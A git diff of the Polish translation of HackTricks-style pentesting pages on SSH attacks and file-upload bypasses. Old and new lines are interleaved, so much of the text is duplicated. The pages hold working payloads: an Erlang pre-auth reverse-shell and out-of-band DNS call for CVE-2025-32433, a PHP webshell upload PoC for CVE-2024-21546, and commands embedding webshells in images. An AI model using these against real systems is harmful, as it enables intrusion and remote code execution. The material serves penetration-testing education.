Aby przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofin lub innych opisanych w [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
Jeśli chcesz przemieszczać się w sieci, wykorzystując odkryte klucze prywatne SSH na systemach, używając każdego klucza prywatnego na każdym systemie dla nowych hostów, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz.
|
||||
Jeśli chcesz przemieszczać się po sieci wykorzystując odnalezione prywatne klucze SSH na systemach, używając każdego klucza prywatnego na każdym systemie do łączenia się z nowymi hostami, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz.
|
||||
|
||||
SSH-Snake automatycznie i rekurencyjnie wykonuje następujące zadania:
|
||||
SSH-Snake wykonuje automatycznie i rekurencyjnie następujące zadania:
|
||||
|
||||
1. Na bieżącym systemie znajdź wszelkie klucze prywatne SSH,
|
||||
2. Na bieżącym systemie znajdź wszelkie hosty lub cele (user@host), które mogą akceptować klucze prywatne,
|
||||
3. Spróbuj połączyć się SSH ze wszystkimi celami, używając wszystkich odkrytych kluczy prywatnych,
|
||||
4. Jeśli uda się połączyć z celem, powtórz kroki #1 - #4 na połączonym systemie.
|
||||
1. Na bieżącym systemie znajduj wszystkie prywatne klucze SSH,
|
||||
2. Na bieżącym systemie znajdź wszystkie hosty lub destynacje (user@host), gdzie prywatne klucze mogą być akceptowane,
|
||||
3. Spróbuj połączyć się przez SSH ze wszystkimi destynacjami używając wszystkich odnalezionych prywatnych kluczy,
|
||||
4. Jeśli połączenie z destynacją powiedzie się, powtórz kroki #1 - #4 na połączonym systemie.
|
||||
|
||||
Jest całkowicie samoreplikujący się i samopropagujący -- i całkowicie bezplikowy.
|
||||
Jest całkowicie samoreplikujący się i samorozprzestrzeniający — oraz całkowicie bezplikowy.
|
||||
|
||||
## Błędy w konfiguracji
|
||||
## Błędy konfiguracji
|
||||
|
||||
### Logowanie jako root
|
||||
|
||||
Jest powszechne, że serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi znaczące ryzyko bezpieczeństwa. **Wyłączenie logowania jako root** jest kluczowym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi i ataki brute force można złagodzić, wprowadzając tę zmianę.
|
||||
Często serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi poważne ryzyko bezpieczeństwa. **Wyłączenie logowania jako root** jest krytycznym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi oraz ataki brute force można zredukować poprzez wprowadzenie tej zmiany.
|
||||
|
||||
**Aby wyłączyć logowanie jako root w OpenSSH:**
|
||||
**Aby wyłączyć logowanie roota w OpenSSH:**
|
||||
|
||||
1. **Edytuj plik konfiguracyjny SSH** za pomocą: `sudoedit /etc/ssh/sshd_config`
|
||||
1. **Edytuj plik konfiguracyjny SSH** poleceniem: `sudoedit /etc/ssh/sshd_config`
|
||||
2. **Zmień ustawienie** z `#PermitRootLogin yes` na **`PermitRootLogin no`**.
|
||||
3. **Przeładuj konfigurację** używając: `sudo systemctl daemon-reload`
|
||||
4. **Uruchom ponownie serwer SSH**, aby zastosować zmiany: `sudo systemctl restart sshd`
|
||||
4. **Zrestartuj serwer SSH**, aby zastosować zmiany: `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP Brute Force
|
||||
|
||||
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
|
||||
|
||||
### Wykonywanie poleceń SFTP
|
||||
### Wykonywanie poleceń przez SFTP
|
||||
|
||||
W przypadku konfiguracji SFTP występuje powszechne niedopatrzenie, gdzie administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa.
|
||||
Częstym przeoczeniem w konfiguracjach SFTP jest sytuacja, gdy administratorzy chcą, aby użytkownicy wymieniali pliki bez udostępniania dostępu do zdalnej powłoki. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, istnieje luka bezpieczeństwa. **Użytkownicy mogą obejść te ograniczenia** żądając wykonania polecenia (np. `/bin/bash`) zaraz po zalogowaniu, zanim zacznie obowiązywać ich przypisana nieinteraktywna powłoka. To pozwala na nieautoryzowane wykonanie poleceń, podważając zamierzone zabezpieczenia.
|
||||
|
||||
[Przykład stąd](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
@ -233,42 +252,42 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
Ta konfiguracja pozwoli tylko na SFTP: wyłączając dostęp do powłoki poprzez wymuszenie polecenia start i wyłączając dostęp TTY, ale także wyłączając wszelkiego rodzaju przekazywanie portów lub tunelowanie.
|
||||
Ta konfiguracja pozwoli jedynie na SFTP: wyłącza dostęp do powłoki przez wymuszenie komendy start i wyłączenie dostępu TTY, a także blokuje wszelkie rodzaje port forwarding oraz tunneling.
|
||||
|
||||
### SFTP Tunneling
|
||||
|
||||
Jeśli masz dostęp do serwera SFTP, możesz również tunelować swój ruch przez to, na przykład używając powszechnego przekazywania portów:
|
||||
Jeśli masz dostęp do serwera SFTP, możesz także tunelować swój ruch przez niego, na przykład używając powszechnego port forwarding:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
|
||||
Klient **sftp** ma polecenie "**symlink**". Dlatego, jeśli masz **uprawnienia zapisu** w jakimś folderze, możesz tworzyć **symlinks** innych folderów/plików. Ponieważ prawdopodobnie jesteś **uwięziony** w chroot, to **nie będzie to dla Ciebie specjalnie przydatne**, ale jeśli możesz **uzyskać dostęp** do utworzonego **symlink** z **no-chroot** **service** (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz **open the symlinked files through the web**.
|
||||
|
||||
Na przykład, aby utworzyć **symlink** z nowego pliku **"**_**froot**_**" do "**_**/**_**"**:
|
||||
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
Jeśli możesz uzyskać dostęp do pliku "_froot_" przez sieć, będziesz mógł wylistować folder główny ("/") systemu.
|
||||
Jeśli możesz uzyskać dostęp do pliku "_froot_" przez web, będziesz mógł wyświetlić zawartość katalogu root ("/") systemu.
|
||||
|
||||
### Metody uwierzytelniania
|
||||
|
||||
W środowisku o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączanie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego, zamiast prostego uwierzytelniania opartego na haśle. Jednak często silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie `publickey` w konfiguracji openSSH i ustawienie go jako domyślnej metody, ale nie wyłączenie `password`. Używając trybu szczegółowego klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:
|
||||
W środowiskach o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączenie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego zamiast prostego uwierzytelniania opartego na haśle. Często jednak silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie `publickey` w konfiguracji openSSH i ustawienie jej jako metody domyślnej, ale nie wyłączenie `password`. Dlatego używając trybu verbose klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
Na przykład, jeśli ustawiony jest limit niepowodzeń uwierzytelniania i nigdy nie masz szansy na dotarcie do metody hasła, możesz użyć opcji `PreferredAuthentications`, aby wymusić użycie tej metody.
|
||||
Na przykład, jeśli ustawiono limit nieudanych uwierzytelnień i nigdy nie dojdziesz do metody password, możesz użyć opcji `PreferredAuthentications`, aby wymusić użycie tej metody.
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
Przegląd konfiguracji serwera SSH jest konieczny, aby sprawdzić, czy tylko oczekiwane metody są autoryzowane. Użycie trybu szczegółowego na kliencie może pomóc w ocenie skuteczności konfiguracji.
|
||||
Przegląd konfiguracji serwera SSH jest konieczny, aby upewnić się, że autoryzowane są tylko oczekiwane metody. Użycie trybu verbose po stronie klienta może pomóc zobaczyć skuteczność konfiguracji.
|
||||
|
||||
### Config files
|
||||
### Pliki konfiguracyjne
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
@ -282,22 +301,22 @@ id_rsa
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## Ominięcie maszyny stanów uwierzytelniania (Pre-Auth RCE)
|
||||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||
|
||||
Kilka implementacji serwera SSH zawiera błędy logiczne w **maszynie stanów uwierzytelniania**, które pozwalają klientowi wysyłać *wiadomości protokołu połączenia* **przed** zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, że znajduje się w odpowiednim stanie, te wiadomości są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do **nieautoryzowanego wykonania kodu** lub utworzenia sesji.
|
||||
Wiele implementacji serwerów SSH zawiera błędy logiczne w **authentication finite-state machine**, które pozwalają klientowi wysyłać *connection-protocol* wiadomości **przed** zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, czy znajduje się we właściwym stanie, wiadomości te są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do **nieuwierzytelnionego wykonania kodu** lub utworzenia sesji.
|
||||
|
||||
Na poziomie protokołu każda wiadomość SSH z _kodem wiadomości_ **≥ 80** (0x50) należy do warstwy *połączenia* (RFC 4254) i musi być **akceptowana tylko po pomyślnym uwierzytelnieniu** (RFC 4252). Jeśli serwer przetwarza jedną z tych wiadomości, będąc w stanie *SSH_AUTHENTICATION*, atakujący może natychmiast utworzyć kanał i żądać działań, takich jak wykonanie polecenia, przekierowanie portów itp.
|
||||
Na poziomie protokołu każda wiadomość SSH z _message code_ **≥ 80** (0x50) należy do warstwy *connection* (RFC 4254) i powinna być **akceptowana tylko po pomyślnym uwierzytelnieniu** (RFC 4252). Jeśli serwer przetworzy jedną z tych wiadomości będąc nadal w stanie *SSH_AUTHENTICATION*, atakujący może natychmiast utworzyć kanał i zażądać operacji takich jak command execution, port-forwarding, itp.
|
||||
|
||||
### Ogólne kroki eksploatacji
|
||||
1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą udostępniać Erlang/OTP na 2022, 830, 2222…).
|
||||
2. Przygotuj surowy pakiet SSH:
|
||||
* 4-bajtowa **długość_pakietu** (big-endian)
|
||||
* 1-bajtowy **kod_wiadomości** ≥ 80 (np. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Ładunek, który będzie zrozumiały dla wybranego typu wiadomości
|
||||
3. Wyślij pakiet(y) **przed zakończeniem jakiegokolwiek kroku uwierzytelniania**.
|
||||
4. Interakcja z API serwera, które są teraz dostępne _przed uwierzytelnieniem_ (wykonanie polecenia, przekierowanie portów, dostęp do systemu plików, …).
|
||||
### Generic Exploitation Steps
|
||||
1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą wystawiać Erlang/OTP na 2022, 830, 2222…).
|
||||
2. Sporządź surowy pakiet SSH:
|
||||
* 4-byte **packet_length** (big-endian)
|
||||
* 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Payload, który będzie zrozumiały dla wybranego typu wiadomości
|
||||
3. Wyślij pakiet(y) **przed ukończeniem jakiegokolwiek kroku uwierzytelniania**.
|
||||
4. Wchodź w interakcję z API serwera, które są teraz dostępne _pre-auth_ (command execution, port forwarding, file-system access, …).
|
||||
|
||||
Zarys dowodu koncepcji w Pythonie:
|
||||
Python proof-of-concept outline:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
@ -309,15 +328,15 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
W praktyce będziesz musiał (lub mógł pominąć) wymianę kluczy zgodnie z implementacją celu, ale **żadne uwierzytelnienie** nie jest nigdy przeprowadzane.
|
||||
W praktyce będziesz musiał wykonać (lub pominąć) key-exchange zgodnie z implementacją celu, ale **no authentication** nigdy nie jest wykonywana.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **Wersje dotknięte:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Przyczyna:** natywny demon SSH Erlanga nie weryfikuje bieżącego stanu przed wywołaniem `ssh_connection:handle_msg/2`. Dlatego każdy pakiet z kodem wiadomości 80-255 dociera do obsługi połączenia, gdy sesja jest nadal w stanie *userauth*.
|
||||
* **Wpływ:** nieautoryzowane **wykonywanie kodu zdalnego** (demon zazwyczaj działa jako **root** na urządzeniach wbudowanych/OT).
|
||||
* **Dotknięte wersje:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Przyczyna:** natywny daemon SSH Erlang nie weryfikuje bieżącego stanu przed wywołaniem `ssh_connection:handle_msg/2`. W związku z tym dowolny pakiet z kodem wiadomości 80-255 trafia do handlera połączenia, podczas gdy sesja nadal znajduje się w stanie *userauth*.
|
||||
* **Wpływ:** nieautoryzowane **remote code execution** (daemon zazwyczaj działa jako **root** na urządzeniach embedded/OT).
|
||||
|
||||
Przykładowy ładunek, który uruchamia powrotną powłokę powiązaną z kanałem kontrolowanym przez atakującego:
|
||||
Przykładowy payload, który uruchamia reverse shell powiązany z kanałem kontrolowanym przez atakującego:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
@ -327,21 +346,25 @@ Blind RCE / wykrywanie out-of-band można przeprowadzić za pomocą DNS:
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
Wykrywanie i łagodzenie:
|
||||
* Inspekcja ruchu SSH: **odrzucaj wszelkie pakiety z kodem wiadomości ≥ 80 zaobserwowanym przed uwierzytelnieniem**.
|
||||
* Uaktualnij Erlang/OTP do **27.3.3 / 26.2.5.11 / 25.3.2.20** lub nowszej wersji.
|
||||
* Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) – szczególnie na sprzęcie OT.
|
||||
* Monitoruj ruch SSH: **odrzucaj każdy pakiet z kodem komunikatu ≥ 80 wykryty przed uwierzytelnieniem**.
|
||||
* Zaktualizuj Erlang/OTP do **27.3.3 / 26.2.5.11 / 25.3.2.20** lub nowszej.
|
||||
* Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) – szczególnie na urządzeniach OT.
|
||||
|
||||
---
|
||||
### Inne dotknięte implementacje
|
||||
* **libssh** 0.6 – 0.8 (strona serwera) – **CVE-2018-10933** – akceptuje nieautoryzowane `SSH_MSG_USERAUTH_SUCCESS` wysłane przez klienta, co skutkuje odwrotną wadą logiczną.
|
||||
* **libssh** 0.6 – 0.8 (po stronie serwera) – **CVE-2018-10933** – akceptuje nieuwierzytelnione `SSH_MSG_USERAUTH_SUCCESS` wysłane przez klienta, w praktyce będąc odwrotnym błędem logiki.
|
||||
|
||||
Wspólną lekcją jest to, że jakiekolwiek odchylenie od stanów przejściowych wymaganych przez RFC może być fatalne; podczas przeglądania lub fuzzowania demonów SSH zwróć szczególną uwagę na *egzekwowanie maszyny stanowej*.
|
||||
Wspólna lekcja jest taka, że każde odstępstwo od przejść stanów narzuconych przez RFC może być krytyczne; podczas przeglądu lub fuzzingu daemonów SSH zwróć szczególną uwagę na *egzekwowanie maszyny stanów*.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
||||
## Źródła
|
||||
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [Przewodniki po twardnieniu SSH](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Przewodnik po hackowaniu SSH Turgensec](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
```
|
||||
|
@ -7,7 +7,7 @@
|
||||
Inne przydatne rozszerzenia:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
- **Praca w PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@ Inne przydatne rozszerzenia:
|
||||
|
||||
### Omijanie kontroli rozszerzeń plików
|
||||
|
||||
1. Jeśli są stosowane, **sprawdź** **wymienione powyżej rozszerzenia.** Testuj je także używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_
|
||||
1. Jeśli stosowane, **sprawdź** poprzednie rozszerzenia. Testuj też je używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz też spróbować użyć wcześniej wymienionych **rozszerzeń**_)
|
||||
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz też spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@ Inne przydatne rozszerzenia:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (**null bytes**) pomiędzy rozszerzeniami. _Możesz też użyć poprzednich rozszerzeń, aby przygotować lepszy payload._
|
||||
4. Spróbuj ominąć zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (bajtów **null**) między rozszerzeniami. _Możesz też użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@ Inne przydatne rozszerzenia:
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli:
|
||||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest błędnie skonfigurowany. (przydatne do eksploatacji błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php**, będzie wykonywane):
|
||||
6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem .php (niekoniecznie kończące się na .php) wykona kod):
|
||||
- _ex: file.php.png_
|
||||
7. Użycie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. przy użyciu jego krótkiej nazwy. Wzorzec "**::$data**” może też być użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.”)
|
||||
8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje obcięte, a złośliwe PHP pozostaje. AAA<--SNIP-->AAA.php
|
||||
7. Użyj **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego short filename. Wzorzec "**::$data**” może też być użyty do tworzenia niepustych plików. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.")
|
||||
8. Spróbuj przełamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje obcięte. Pozostaje złośliwy PHP. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
Niektóre mechanizmy obsługi uploadu obcinają lub normalizują końcowe kropki w zapisywanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 można obejść walidację rozszerzeń przez:
|
||||
Niektóre upload handlery obcinają lub normalizują znaki kropki na końcu nazwy pliku zapisywanej na dysku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 możesz obejść walidację rozszerzenia przez:
|
||||
|
||||
- Użycie poprawnego MIME obrazu i nagłówka magic (np. PNG `\x89PNG\r\n\x1a\n`).
|
||||
- Nadanie przesyłanemu plikowi nazwy z rozszerzeniem PHP zakończonym kropką, np. `shell.php.`.
|
||||
- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który wykona się, jeśli zostanie umieszczony w katalogu udostępnianym przez WWW (domyślnie public storage, np. `/storage/files/`).
|
||||
- Użycie prawidłowego MIME obrazu i magic header (np. PNG’s `\x89PNG\r\n\x1a\n`).
|
||||
- Nazwanie przesyłanego pliku rozszerzeniem PHP z kropką na końcu, np. `shell.php.`.
|
||||
- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który zostanie wykonany, jeśli zostanie umieszczony w katalogu obsługiwanym przez web (domyczne public storage jak `/storage/files/`).
|
||||
|
||||
Minimalny PoC (Burp Repeater):
|
||||
```http
|
||||
@ -80,55 +80,56 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
Następnie wywołaj zapisaną ścieżkę (typowe dla Laravel + LFM):
|
||||
Następnie odwiedź zapisany path (typowe w Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Zabezpieczenia:
|
||||
Mitigations:
|
||||
- Zaktualizuj unisharp/laravel-filemanager do ≥ 2.9.1.
|
||||
- Wymuś rygorystyczne server-side allowlists i ponownie zweryfikuj persisted filename.
|
||||
- Wymuś ścisłe server-side allowlists i ponownie waliduj zapisany filename.
|
||||
- Serwuj uploads z lokalizacji non-executable.
|
||||
|
||||
### Obejście Content-Type, magic number, kompresji i zmiany rozmiaru
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Obejdź sprawdzanie **Content-Type**, ustawiając **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Bypass **Content-Type** checks przez ustawienie **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Obejdź sprawdzanie **magic number** przez dodanie na początku pliku **bytes of a real image** (wprowadzając w błąd polecenie _file_). Lub umieść shell w **metadata**:\
|
||||
- Bypass **magic number** check przez dodanie na początku pliku **bytes of a real image** (w celu zmylenia polecenia _file_). Lub wprowadź shell wewnątrz **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` lub możesz również **wprowadzić payload bezpośrednio** do obrazu:\
|
||||
`\` albo możesz też **wprowadzić payload bezpośrednio** do obrazu:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Jeśli do obrazu dodawana jest **kompresja**, na przykład przy użyciu standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki mogą być wtedy nieskuteczne. Możesz jednak użyć **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład używając standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), powyższe techniki mogą być bezużyteczne. Jednak możesz użyć **PLTE chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- Strona web może także **resizing** **image**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **IDAT chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Inna technika na stworzenie payloadu, który **przetrwa zmianę rozmiaru obrazu**, używając funkcji PHP-GD `thumbnailImage`. Możesz też użyć **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
|
||||
